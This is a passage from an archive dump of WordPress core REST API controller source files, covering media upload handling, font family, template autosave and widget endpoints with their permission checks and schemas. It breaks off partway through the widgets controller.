			'type'        => 'string',
			'enum'        => array_keys( $media_types ),
		);

		$params['mime_type'] = array(
			'default'     => null,
			'description' => __( 'Limit result set to attachments of a particular MIME type.' ),
			'type'        => 'string',
		);

		return $params;
	}

	/**
	 * Handles an upload via multipart/form-data ($_FILES).
	 *
	 * @since 4.7.0
	 * @since 6.6.0 Added the `$time` parameter.
	 *
	 * @param array       $files   Data from the `$_FILES` superglobal.
	 * @param array       $headers HTTP headers from the request.
	 * @param string|null $time    Optional. Time formatted in 'yyyy/mm'. Default null.
	 * @return array|WP_Error Data from wp_handle_upload().
	 */
	protected function upload_from_file( $files, $headers, $time = null ) {
		if ( empty( $files ) ) {
			return new WP_Error(
				'rest_upload_no_data',
				__( 'No data supplied.' ),
				array( 'status' => 400 )
			);
		}

		// Verify hash, if given.
		if ( ! empty( $headers['content_md5'] ) ) {
			$content_md5 = array_shift( $headers['content_md5'] );
			$expected    = trim( $content_md5 );
			$actual      = md5_file( $files['file']['tmp_name'] );

			if ( $expected !== $actual ) {
				return new WP_Error(
					'rest_upload_hash_mismatch',
					__( 'Content hash did not match expected.' ),
					array( 'status' => 412 )
				);
			}
		}

		// Pass off to WP to handle the actual upload.
		$overrides = array(
			'test_form' => false,
		);

		// Bypasses is_uploaded_file() when running unit tests.
		if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) {
			$overrides['action'] = 'wp_handle_mock_upload';
		}

		$size_check = self::check_upload_size( $files['file'] );
		if ( is_wp_error( $size_check ) ) {
			return $size_check;
		}

		// Include filesystem functions to get access to wp_handle_upload().
		require_once ABSPATH . 'wp-admin/includes/file.php';

		$file = wp_handle_upload( $files['file'], $overrides, $time );

		if ( isset( $file['error'] ) ) {
			return new WP_Error(
				'rest_upload_unknown_error',
				$file['error'],
				array( 'status' => 500 )
			);
		}

		return $file;
	}

	/**
	 * Retrieves the supported media types.
	 *
	 * Media types are considered the MIME type category.
	 *
	 * @since 4.7.0
	 *
	 * @return array Array of supported media types.
	 */
	protected function get_media_types() {
		$media_types = array();

		foreach ( get_allowed_mime_types() as $mime_type ) {
			$parts = explode( '/', $mime_type );

			if ( ! isset( $media_types[ $parts[0] ] ) ) {
				$media_types[ $parts[0] ] = array();
			}

			$media_types[ $parts[0] ][] = $mime_type;
		}

		return $media_types;
	}

	/**
	 * Determine if uploaded file exceeds space quota on multisite.
	 *
	 * Replicates check_upload_size().
	 *
	 * @since 4.9.8
	 *
	 * @param array $file $_FILES array for a given file.
	 * @return true|WP_Error True if can upload, error for errors.
	 */
	protected function check_upload_size( $file ) {
		if ( ! is_multisite() ) {
			return true;
		}

		if ( get_site_option( 'upload_space_check_disabled' ) ) {
			return true;
		}

		$space_left = get_upload_space_available();

		$file_size = filesize( $file['tmp_name'] );

		if ( $space_left < $file_size ) {
			return new WP_Error(
				'rest_upload_limited_space',
				/* translators: %s: Required disk space in kilobytes. */
				sprintf( __( 'Not enough space to upload. %s KB needed.' ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) ),
				array( 'status' => 400 )
			);
		}

		if ( $file_size > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) {
			return new WP_Error(
				'rest_upload_file_too_big',
				/* translators: %s: Maximum allowed file size in kilobytes. */
				sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), get_site_option( 'fileupload_maxk', 1500 ) ),
				array( 'status' => 400 )
			);
		}

		// Include multisite admin functions to get access to upload_is_user_over_quota().
		require_once ABSPATH . 'wp-admin/includes/ms.php';

		if ( upload_is_user_over_quota( false ) ) {
			return new WP_Error(
				'rest_upload_user_quota_exceeded',
				__( 'You have used your space quota. Please delete files before uploading.' ),
				array( 'status' => 400 )
			);
		}

		return true;
	}

	/**
	 * Gets the request args for the edit item route.
	 *
	 * @since 5.5.0
	 *
	 * @return array
	 */
	protected function get_edit_media_item_args() {
		return array(
			'src'       => array(
				'description' => __( 'URL to the edited image file.' ),
				'type'        => 'string',
				'format'      => 'uri',
				'required'    => true,
			),
			'modifiers' => array(
				'description' => __( 'Array of image edits.' ),
				'type'        => 'array',
				'minItems'    => 1,
				'items'       => array(
					'description' => __( 'Image edit.' ),
					'type'        => 'object',
					'required'    => array(
						'type',
						'args',
					),
					'oneOf'       => array(
						array(
							'title'      => __( 'Rotation' ),
							'properties' => array(
								'type' => array(
									'description' => __( 'Rotation type.' ),
									'type'        => 'string',
									'enum'        => array( 'rotate' ),
								),
								'args' => array(
									'description' => __( 'Rotation arguments.' ),
									'type'        => 'object',
									'required'    => array(
										'angle',
									),
									'properties'  => array(
										'angle' => array(
											'description' => __( 'Angle to rotate clockwise in degrees.' ),
											'type'        => 'number',
										),
									),
								),
							),
						),
						array(
							'title'      => __( 'Crop' ),
							'properties' => array(
								'type' => array(
									'description' => __( 'Crop type.' ),
									'type'        => 'string',
									'enum'        => array( 'crop' ),
								),
								'args' => array(
									'description' => __( 'Crop arguments.' ),
									'type'        => 'object',
									'required'    => array(
										'left',
										'top',
										'width',
										'height',
									),
									'properties'  => array(
										'left'   => array(
											'description' => __( 'Horizontal position from the left to begin the crop as a percentage of the image width.' ),
											'type'        => 'number',
										),
										'top'    => array(
											'description' => __( 'Vertical position from the top to begin the crop as a percentage of the image height.' ),
											'type'        => 'number',
										),
										'width'  => array(
											'description' => __( 'Width of the crop as a percentage of the image width.' ),
											'type'        => 'number',
										),
										'height' => array(
											'description' => __( 'Height of the crop as a percentage of the image height.' ),
											'type'        => 'number',
										),
									),
								),
							),
						),
					),
				),
			),
			'rotation'  => array(
				'description'      => __( 'The amount to rotate the image clockwise in degrees. DEPRECATED: Use `modifiers` instead.' ),
				'type'             => 'integer',
				'minimum'          => 0,
				'exclusiveMinimum' => true,
				'maximum'          => 360,
				'exclusiveMaximum' => true,
			),
			'x'         => array(
				'description' => __( 'As a percentage of the image, the x position to start the crop from. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
			'y'         => array(
				'description' => __( 'As a percentage of the image, the y position to start the crop from. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
			'width'     => array(
				'description' => __( 'As a percentage of the image, the width to crop the image to. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
			'height'    => array(
				'description' => __( 'As a percentage of the image, the height to crop the image to. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
		);
	}
}
endpoints/class-wp-rest-font-families-controller.php000064400000042152151024200430016673 0ustar00<?php
/**
 * REST API: WP_REST_Font_Families_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.5.0
 */

/**
 * Font Families Controller class.
 *
 * @since 6.5.0
 */
class WP_REST_Font_Families_Controller extends WP_REST_Posts_Controller {

	/**
	 * The latest version of theme.json schema supported by the controller.
	 *
	 * @since 6.5.0
	 * @var int
	 */
	const LATEST_THEME_JSON_VERSION_SUPPORTED = 3;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.5.0
	 * @var false
	 */
	protected $allow_batch = false;

	/**
	 * Checks if a given request has access to font families.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$post_type = get_post_type_object( $this->post_type );

		if ( ! current_user_can( $post_type->cap->read ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access font families.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a given request has access to a font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( ! current_user_can( 'read_post', $post->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access this font family.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Validates settings when creating or updating a font family.
	 *
	 * @since 6.5.0
	 *
	 * @param string          $value   Encoded JSON string of font family settings.
	 * @param WP_REST_Request $request Request object.
	 * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object.
	 */
	public function validate_font_family_settings( $value, $request ) {
		$settings = json_decode( $value, true );

		// Check settings string is valid JSON.
		if ( null === $settings ) {
			return new WP_Error(
				'rest_invalid_param',
				/* translators: %s: Parameter name: "font_family_settings". */
				sprintf( __( '%s parameter must be a valid JSON string.' ), 'font_family_settings' ),
				array( 'status' => 400 )
			);
		}

		$schema   = $this->get_item_schema()['properties']['font_family_settings'];
		$required = $schema['required'];

		if ( isset( $request['id'] ) ) {
			// Allow sending individual properties if we are updating an existing font family.
			unset( $schema['required'] );

			// But don't allow updating the slug, since it is used as a unique identifier.
			if ( isset( $settings['slug'] ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Name of parameter being updated: font_family_settings[slug]". */
					sprintf( __( '%s cannot be updated.' ), 'font_family_settings[slug]' ),
					array( 'status' => 400 )
				);
			}
		}

		// Check that the font face settings match the theme.json schema.
		$has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_family_settings' );

		if ( is_wp_error( $has_valid_settings ) ) {
			$has_valid_settings->add_data( array( 'status' => 400 ) );
			return $has_valid_settings;
		}

		// Check that none of the required settings are empty values.
		foreach ( $required as $key ) {
			if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Name of the empty font family setting parameter, e.g. "font_family_settings[slug]". */
					sprintf( __( '%s cannot be empty.' ), "font_family_settings[ $key ]" ),
					array( 'status' => 400 )
				);
			}
		}

		return true;
	}

	/**
	 * Sanitizes the font family settings when creating or updating a font family.
	 *
	 * @since 6.5.0
	 *
	 * @param string $value Encoded JSON string of font family settings.
	 * @return array Decoded array of font family settings.
	 */
	public function sanitize_font_family_settings( $value ) {
		// Settings arrive as stringified JSON, since this is a multipart/form-data request.
		$settings = json_decode( $value, true );
		$schema   = $this->get_item_schema()['properties']['font_family_settings']['properties'];

		// Sanitize settings based on callbacks in the schema.
		foreach ( $settings as $key => $value ) {
			$sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback'];
			$settings[ $key ]  = call_user_func( $sanitize_callback, $value );
		}

		return $settings;
	}

	/**
	 * Creates a single font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$settings = $request->get_param( 'font_family_settings' );

		// Check that the font family slug is unique.
		$query = new WP_Query(
			array(
				'post_type'              => $this->post_type,
				'posts_per_page'         => 1,
				'name'                   => $settings['slug'],
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
			)
		);
		if ( ! empty( $query->posts ) ) {
			return new WP_Error(
				'rest_duplicate_font_family',
				/* translators: %s: Font family slug. */
				sprintf( __( 'A font family with slug "%s" already exists.' ), $settings['slug'] ),
				array( 'status' => 400 )
			);
		}

		return parent::create_item( $request );
	}

	/**
	 * Deletes a single font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for font families.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		return parent::delete_item( $request );
	}

	/**
	 * Prepares a single font family output for response.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $item->ID;
		}

		if ( rest_is_field_included( 'theme_json_version', $fields ) ) {
			$data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED;
		}

		if ( rest_is_field_included( 'font_faces', $fields ) ) {
			$data['font_faces'] = $this->get_font_face_ids( $item->ID );
		}

		if ( rest_is_field_included( 'font_family_settings', $fields ) ) {
			$data['font_family_settings'] = $this->get_settings_from_post( $item );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		/**
		 * Filters the font family data for a REST API response.
		 *
		 * @since 6.5.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     Font family post object.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_wp_font_family', $response, $item, $request );
	}

	/**
	 * Retrieves the post's schema, conforming to JSON Schema.
	 *
	 * @since 6.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			// Base properties for every Post.
			'properties' => array(
				'id'                   => array(
					'description' => __( 'Unique identifier for the post.', 'default' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'theme_json_version'   => array(
					'description' => __( 'Version of the theme.json schema used for the typography settings.' ),
					'type'        => 'integer',
					'default'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'minimum'     => 2,
					'maximum'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'font_faces'           => array(
					'description' => __( 'The IDs of the child font faces in the font family.' ),
					'type'        => 'array',
					'context'     => array( 'view', 'edit', 'embed' ),
					'items'       => array(
						'type' => 'integer',
					),
				),
				// Font family settings come directly from theme.json schema
				// See https://schemas.wp.org/trunk/theme.json
				'font_family_settings' => array(
					'description'          => __( 'font-face definition in theme.json format.' ),
					'type'                 => 'object',
					'context'              => array( 'view', 'edit', 'embed' ),
					'properties'           => array(
						'name'       => array(
							'description' => __( 'Name of the font family preset, translatable.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'slug'       => array(
							'description' => __( 'Kebab-case unique identifier for the font family preset.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_title',
							),
						),
						'fontFamily' => array(
							'description' => __( 'CSS font-family value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ),
							),
						),
						'preview'    => array(
							'description' => __( 'URL to a preview image of the font family.' ),
							'type'        => 'string',
							'format'      => 'uri',
							'default'     => '',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_url',
							),
						),
					),
					'required'             => array( 'name', 'slug', 'fontFamily' ),
					'additionalProperties' => false,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 6.5.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = parent::get_public_item_schema();

		// Also remove `arg_options' from child font_family_settings properties, since the parent
		// controller only handles the top level properties.
		foreach ( $schema['properties']['font_family_settings']['properties'] as &$property ) {
			unset( $property['arg_options'] );
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the font family collection.
	 *
	 * @since 6.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		// Remove unneeded params.
		unset(
			$query_params['after'],
			$query_params['modified_after'],
			$query_params['before'],
			$query_params['modified_before'],
			$query_params['search'],
			$query_params['search_columns'],
			$query_params['status']
		);

		$query_params['orderby']['default'] = 'id';
		$query_params['orderby']['enum']    = array( 'id', 'include' );

		/**
		 * Filters collection parameters for the font family controller.
		 *
		 * @since 6.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_wp_font_family_collection_params', $query_params );
	}

	/**
	 * Get the arguments used when creating or updating a font family.
	 *
	 * @since 6.5.0
	 *
	 * @return array Font family create/edit arguments.
	 */
	public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) {
		if ( WP_REST_Server::CREATABLE === $method || WP_REST_Server::EDITABLE === $method ) {
			$properties = $this->get_item_schema()['properties'];
			return array(
				'theme_json_version'   => $properties['theme_json_version'],
				// When creating or updating, font_family_settings is stringified JSON, to work with multipart/form-data.
				// Font families don't currently support file uploads, but may accept preview files in the future.
				'font_family_settings' => array(
					'description'       => __( 'font-family declaration in theme.json format, encoded as a string.' ),
					'type'              => 'string',
					'required'          => true,
					'validate_callback' => array( $this, 'validate_font_family_settings' ),
					'sanitize_callback' => array( $this, 'sanitize_font_family_settings' ),
				),
			);
		}

		return parent::get_endpoint_args_for_item_schema( $method );
	}

	/**
	 * Get the child font face post IDs.
	 *
	 * @since 6.5.0
	 *
	 * @param int $font_family_id Font family post ID.
	 * @return int[] Array of child font face post IDs.
	 */
	protected function get_font_face_ids( $font_family_id ) {
		$query = new WP_Query(
			array(
				'fields'                 => 'ids',
				'post_parent'            => $font_family_id,
				'post_type'              => 'wp_font_face',
				'posts_per_page'         => 99,
				'order'                  => 'ASC',
				'orderby'                => 'id',
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
			)
		);

		return $query->posts;
	}

	/**
	 * Prepares font family links for the request.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		// Entity meta.
		$links = parent::prepare_links( $post );

		return array(
			'self'       => $links['self'],
			'collection' => $links['collection'],
			'font_faces' => $this->prepare_font_face_links( $post->ID ),
		);
	}

	/**
	 * Prepares child font face links for the request.
	 *
	 * @param int $font_family_id Font family post ID.
	 * @return array Links for the child font face posts.
	 */
	protected function prepare_font_face_links( $font_family_id ) {
		$font_face_ids = $this->get_font_face_ids( $font_family_id );
		$links         = array();
		foreach ( $font_face_ids as $font_face_id ) {
			$links[] = array(
				'embeddable' => true,
				'href'       => rest_url( sprintf( '%s/%s/%s/font-faces/%s', $this->namespace, $this->rest_base, $font_family_id, $font_face_id ) ),
			);
		}
		return $links;
	}

	/**
	 * Prepares a single font family post for create or update.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object or WP_Error.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_post = new stdClass();
		// Settings have already been decoded by ::sanitize_font_family_settings().
		$settings = $request->get_param( 'font_family_settings' );

		// This is an update and we merge with the existing font family.
		if ( isset( $request['id'] ) ) {
			$existing_post = $this->get_post( $request['id'] );
			if ( is_wp_error( $existing_post ) ) {
				return $existing_post;
			}

			$prepared_post->ID = $existing_post->ID;
			$existing_settings = $this->get_settings_from_post( $existing_post );
			$settings          = array_merge( $existing_settings, $settings );
		}

		$prepared_post->post_type   = $this->post_type;
		$prepared_post->post_status = 'publish';
		$prepared_post->post_title  = $settings['name'];
		$prepared_post->post_name   = sanitize_title( $settings['slug'] );

		// Remove duplicate information from settings.
		unset( $settings['name'] );
		unset( $settings['slug'] );

		$prepared_post->post_content = wp_json_encode( $settings );

		return $prepared_post;
	}

	/**
	 * Gets the font family's settings from the post.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Font family post object.
	 * @return array Font family settings array.
	 */
	protected function get_settings_from_post( $post ) {
		$settings_json = json_decode( $post->post_content, true );

		// Default to empty strings if the settings are missing.
		return array(
			'name'       => isset( $post->post_title ) && $post->post_title ? $post->post_title : '',
			'slug'       => isset( $post->post_name ) && $post->post_name ? $post->post_name : '',
			'fontFamily' => isset( $settings_json['fontFamily'] ) && $settings_json['fontFamily'] ? $settings_json['fontFamily'] : '',
			'preview'    => isset( $settings_json['preview'] ) && $settings_json['preview'] ? $settings_json['preview'] : '',
		);
	}
}
endpoints/class-wp-rest-template-autosaves-controller.php000064400000017221151024200430017760 0ustar00<?php
/**
 * REST API: WP_REST_Template_Autosaves_Controller class.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.4.0
 */

/**
 * Core class used to access template autosaves via the REST API.
 *
 * @since 6.4.0
 *
 * @see WP_REST_Autosaves_Controller
 */
class WP_REST_Template_Autosaves_Controller extends WP_REST_Autosaves_Controller {
	/**
	 * Parent post type.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Parent post controller.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * Revision controller.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Revisions_Controller
	 */
	private $revisions_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 6.4.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		parent::__construct( $parent_post_type );
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Templates_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;

		$revisions_controller = $post_type_object->get_revisions_rest_controller();
		if ( ! $revisions_controller ) {
			$revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type );
		}
		$this->revisions_controller = $revisions_controller;
		$this->rest_base            = 'autosaves';
		$this->parent_base          = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace            = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the routes for autosaves.
	 *
	 * @since 6.4.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<id>%s%s)/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base
			),
			array(
				'args'   => array(
					'id' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<parent>%s%s)/%s/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base,
				'(?P<id>[\d]+)'
			),
			array(
				'args'   => array(
					'parent' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
					'id'     => array(
						'description' => __( 'The ID for the autosave.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Prepares the item for the REST response.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$template = _build_block_template_result_from_post( $item );
		$response = $this->parent_controller->prepare_item_for_response( $template, $request );

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			return $response;
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = $response->get_data();

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $item->post_parent;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = new WP_REST_Response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $template );
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Gets the autosave, if the ID is valid.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Post|WP_Error Autosave post object if ID is valid, WP_Error otherwise.
	 */
	public function get_item( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$autosave = wp_get_post_autosave( $parent->ID );

		if ( ! $autosave ) {
			return new WP_Error(
				'rest_post_no_autosave',
				__( 'There is no autosave revision for this template.' ),
				array( 'status' => 404 )
			);
		}

		$response = $this->prepare_item_for_response( $autosave, $request );
		return $response;
	}

	/**
	 * Get the parent post.
	 *
	 * @since 6.4.0
	 *
	 * @param int $parent_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_id ) {
		return $this->revisions_controller->get_parent( $parent_id );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Block_Template $template Template.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $template ) {
		$links = array(
			'self'   => array(
				'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ),
			),
			'parent' => array(
				'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ),
			),
		);

		return $links;
	}

	/**
	 * Retrieves the autosave's schema, conforming to JSON Schema.
	 *
	 * @since 6.4.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = $this->revisions_controller->get_item_schema();

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-widgets-controller.php000064400000064415151024200430015612 0ustar00<?php
/**
 * REST API: WP_REST_Widgets_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Core class to access widgets via the REST API.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Widgets_Controller extends WP_REST_Controller {

	/**
	 * Tracks whether {@see retrieve_widgets()} has been called in the current request.
	 *
	 * @since 5.9.0
	 * @var bool
	 */
	protected $widgets_retrieved = false;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Widgets controller constructor.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'widgets';
	}

	/**
	 * Registers the widget routes for the controller.
	 *
	 * @since 5.8.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			$this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema(),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			$this->rest_base . '/(?P<id>[\w\-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
